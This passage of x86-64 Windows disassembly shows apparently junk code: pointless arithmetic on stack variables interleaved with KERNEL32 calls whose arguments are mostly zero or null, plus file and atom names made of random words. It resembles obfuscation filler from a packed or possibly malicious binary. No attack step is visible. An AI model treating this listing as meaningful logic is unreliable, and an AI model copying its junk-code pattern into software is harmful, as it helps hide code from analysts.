mov byte [rcx], al
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:_variantsCondolePortsShibboleths
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9c80], rax
mov rax, qword [0x1401e7478]
movzx eax, byte [rax]
mov byte [rsp + 0xa5], al
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x66]
sub eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
mov byte [rsp + 0xa6], al
mov eax, dword [rsp + 0x4544]
mov ecx, dword [rsp + 0x44ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
mov eax, dword [rsp + 0x4394]
mov ecx, dword [rsp + 0x442c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9558], rax
lea rax, [rsp + 0x9318]
mov qword [rsp + 0x9c88], rax
mov rax, qword [rsp + 0x97b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
lea rax, [rsp + 0xc4c]
mov qword [0x1401e7568], rax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x9c90], rax
movsx eax, byte [rsp + 0x77]
mov rcx, qword [0x1401e7528]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x9920]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0x5d], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4558], eax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
mov word [rsp + 0xd14], ax
lea rcx, [rsp + 0x2a080]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x41c8], eax
lea rdx, [rsp + 0x9c98]
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x43b8], eax
mov rax, qword [rsp + 0x97b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
shl rax, cl
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0x9ca0], rax
mov eax, dword [rsp + 0x43f8]
movzx ecx, al
mov eax, dword [rsp + 0x4340]
shr eax, cl
mov dword [rsp + 0x4544], eax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x9c08]
idiv dword [rcx]
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0x98a0]
movzx eax, byte [rax]
mov byte [rsp + 0xa7], al
movzx eax, word [rsp + 0xcf0]
movzx ecx, word [rsp + 0xca4]
or eax, ecx
mov word [0x1401e743c], ax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x44ec], eax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xcf8]
xor eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0x9a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9338]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
mov r9d, 0xb4
xor r8d, r8d
lea rdx, [rsp + 0x9110]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x441c], eax
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov dword [rsp + 0x455c], eax
mov rax, qword [rsp + 0x9520]
mov rcx, qword [rsp + 0x90c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x93b0], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x43bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4464], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0x9cb0], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ca8]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:ModifierToenailhoursgetrichquickShapeliest
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9cb8], rax
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e607c], ax
lea rax, [0x1401e601d]
mov qword [rsp + 0x9cc0], rax
movzx eax, word [rsp + 0xc18]
movzx ecx, word [rsp + 0xd14]
sub eax, ecx
mov rcx, qword [rsp + 0x9738]
mov word [rcx], ax
movsx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9638]
mov rcx, qword [rsp + 0x9a80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9638]
mov qword [rcx], rax
lea rax, [rsp + 0x4450]
mov qword [rsp + 0x9cd0], rax
mov rax, qword [rsp + 0x97a8]
mov eax, dword [rax]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
imul eax, eax, 0xf12
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e6032], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x9cd8], rax
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
xor eax, ecx
mov byte [rsp + 0x83], al
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4510], eax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0xa8], al
mov dword [rsp + 0x2a1c0], 0x94
mov eax, dword [rsp + 0x4280]
mov rcx, qword [rsp + 0x8e98]
mov qword [rsp + 0x9ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ce0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4324], eax
mov eax, dword [rsp + 0x41d0]
movzx ecx, al
mov eax, dword [rsp + 0x4348]
shl eax, cl
mov rcx, qword [rsp + 0x9698]
mov dword [rcx], eax
lea rdx, [rsp + 0x4490]
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4560], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x9ce8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x9308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc70]
mov word [rsp + 0xd18], ax
lea rax, [rsp + 0xce0]
mov qword [0x1401e7570], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x8e]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
mov word [rsp + 0xd1c], ax
mov rax, qword [rsp + 0x9368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97b0]
mov byte [rcx], al
mov rax, qword [0x1401e7470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc98]
and eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
lea rax, [rsp + 0x43cc]
mov qword [rsp + 0x9cf0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x9c28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9050], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x92b0]
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x98b8]
mov ecx, dword [rsp + 0x44c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov dword [rcx], eax
lea rax, [rsp + 0xc2c]
mov qword [0x1401e7578], rax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x9d00], rax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x9d08], rax
movsx eax, word [rsp + 0xba8]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
mov byte [rsp + 0xa9], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x9a78]
mov rcx, qword [rsp + 0x94e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4204], eax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4470], eax
mov rax, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x9480]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x93b0]
mov qword [rsp + 0x9d10], rax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4564], eax
mov eax, dword [rsp + 0x43c4]
mov ecx, dword [rsp + 0x4488]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44f8], eax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e743c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3bd6
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x451c], eax
lea rax, [0x1401e74b0]
mov qword [rsp + 0x9d18], rax
mov rax, qword [rsp + 0x95c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9608]
mov byte [rcx], al
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
xor eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
lea rax, [rsp + 0x52]
mov qword [rsp + 0x9d20], rax
mov rax, qword [rsp + 0x92f0]
movzx ecx, al
mov rax, qword [rsp + 0x93c8]
sar rax, cl
mov rcx, qword [rsp + 0x9810]
mov qword [rcx], rax
lea rdx, [rsp + 0x95a0]
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4568], eax
lea rax, [rsp + 0x9cc8]
mov qword [rsp + 0x9d28], rax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
mov eax, dword [rsp + 0x423c]
mov ecx, dword [rsp + 0x450c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9120]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9d30], rax
lea rax, [rsp + 0x44c0]
mov qword [rsp + 0x9d38], rax
movzx eax, word [rsp + 0xc9c]
mov word [0x1401e7580], ax
mov rax, qword [rsp + 0x9c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
and eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov byte [rcx], al
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbbc], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov byte [rcx], al
lea rax, [rsp + 0xd08]
mov qword [rsp + 0x9d40], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx eax, word [rsp + 0xbb4]
mov rcx, qword [0x1401e7578]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbd0], ax
lea rcx, [rsp + 0x26908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x445c]
mov dword [rsp + 0x456c], eax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x98c0], rax
mov rax, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0x9268]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9518], rax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov dword [rsp + 0x4570], eax
movsx eax, byte [rsp + 0x8f]
movsx ecx, byte [rsp + 0x61]
add eax, ecx
mov rcx, qword [0x1401e74a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc30], ax
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbd8], ax
movsx eax, word [rsp + 0xc04]
movsx ecx, word [rsp + 0xc68]
sub eax, ecx
mov word [rsp + 0xc38], ax
mov eax, dword [rsp + 0x4464]
mov dword [rsp + 0x4574], eax
lea rdx, [rsp + 0x96e0]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0x9198]
mov ecx, dword [rsp + 0x44dc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a48]
mov qword [rsp + 0x9d48], rax
mov rax, qword [rsp + 0x9358]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9278]
shl rax, cl
mov qword [rsp + 0x8c70], rax
mov edx, 0x7f5312
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4578], eax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sar eax, cl
mov word [0x1401e6080], ax
lea rax, [0x1401e743a]
mov qword [rsp + 0x9d50], rax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
or eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x97b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x93f8]
movzx eax, word [rax]
mov word [rsp + 0xd20], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x9298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x99f8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0x4484]
mov qword [rsp + 0x9d58], rax
movzx ecx, word [rsp + 0xc94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0x9518]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x95e8], rax
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x44f4], eax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0x8fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4344], eax
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x9060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7530]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9d60], rax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0xab], al
mov edx, 0x1e1f1d
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4238], eax
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x42ec], eax
lea rcx, str.Naughty_Conserves_esthete_Ceremonials_Opportunistically
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x9a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
and eax, ecx
mov word [rsp + 0xc1c], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0x9d68], rax
movsx eax, word [rsp + 0xccc]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9130]
mov dword [rcx], eax
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x9d70], rax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0x92f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x95f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8dd8]
mov qword [rsp + 0x9d78], rax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [0x1401e74b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7440]
mov word [rcx], ax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x85]
sar eax, cl
mov byte [rsp + 0x97], al
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [0x1401e601c]
mov qword [rsp + 0x9d80], rax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x79]
or eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x9230]
mov eax, dword [rax]
mov dword [rsp + 0x457c], eax
mov rax, qword [0x1401e6008]
movzx ecx, al
mov rax, qword [rsp + 0x9908]
shl rax, cl
mov qword [rsp + 0x90c0], rax
lea rax, [rsp + 0x9518]
mov qword [rsp + 0x9d88], rax
mov edx, 0x26e9
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x451c], eax
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd18]
sub eax, ecx
mov word [0x1401e6084], ax
movzx eax, word [rsp + 0xbdc]
mov word [rsp + 0xd2c], ax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0xac], al
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4580], eax
mov rax, qword [rsp + 0x9d28]
mov rcx, qword [rsp + 0x94e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0x9ca0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x4428]
mov qword [rsp + 0x9d90], rax
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x445c]
mov dword [rsp + 0x43ac], eax
mov edx, 0x5645f4
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x435c], eax
movzx ecx, word [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd30], ax
lea rax, [rsp + 0xba4]
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9818]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e6088], ax
mov rax, qword [rsp + 0x9a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
add eax, ecx
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x92e0], rax
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xbc4]
mov qword [rsp + 0x9da0], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0x9780]
mov eax, dword [rax]
mov dword [rsp + 0x4584], eax
mov eax, dword [rsp + 0x44bc]
movzx ecx, al
mov eax, dword [rsp + 0x4340]
shr eax, cl
mov dword [rsp + 0x443c], eax
lea rax, [rsp + 0x9a60]
mov qword [rsp + 0x9da8], rax
mov rax, qword [0x1401e7428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf8]
shl eax, cl
mov rcx, qword [rsp + 0x9310]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e601c], al
mov rax, qword [rsp + 0x9c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
xor eax, ecx
mov word [rsp + 0xc14], ax
lea rax, [rsp + 0xd18]
mov qword [rsp + 0x9db0], rax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x9d10]
mov rax, qword [rax]
mov qword [rsp + 0x9db8], rax
mov rax, qword [rsp + 0x9140]
mov ecx, dword [rsp + 0x4244]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9180]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rcx, str.Exorcise_purifying_Develop_Chuckle_hornbills
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd34], ax
mov rax, qword [rsp + 0x9d88]
mov rcx, qword [rsp + 0x9188]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9648], rax
lea rax, [0x1401e741c]
mov qword [rsp + 0x9dc0], rax
mov rax, qword [rsp + 0x9d68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x98a0]
mov byte [rcx], al
movsx eax, word [rsp + 0xcb8]
movsx ecx, word [rsp + 0xd04]
sub eax, ecx
mov rcx, qword [0x1401e7470]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9020]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
movsx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9468]
mov byte [rcx], al
mov r9d, 0x2501
xor r8d, r8d
lea rdx, [rsp + 0x9b48]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0x8ee8]
movzx eax, word [rax]
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0x8ff8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov dword [rsp + 0x4588], eax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4520]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x457c], eax
mov rax, qword [rsp + 0x9c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9298]
mov qword [rsp + 0x9dc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9dc8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x99f8], rax
lea rax, [rsp + 0xbcc]
mov qword [0x1401e7588], rax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
xor eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:_rushingPhytoplanktonGalleriedlessen
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9dd0], rax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x9d50]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e603b]
shl eax, cl
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x91c0]
mov eax, dword [rax]
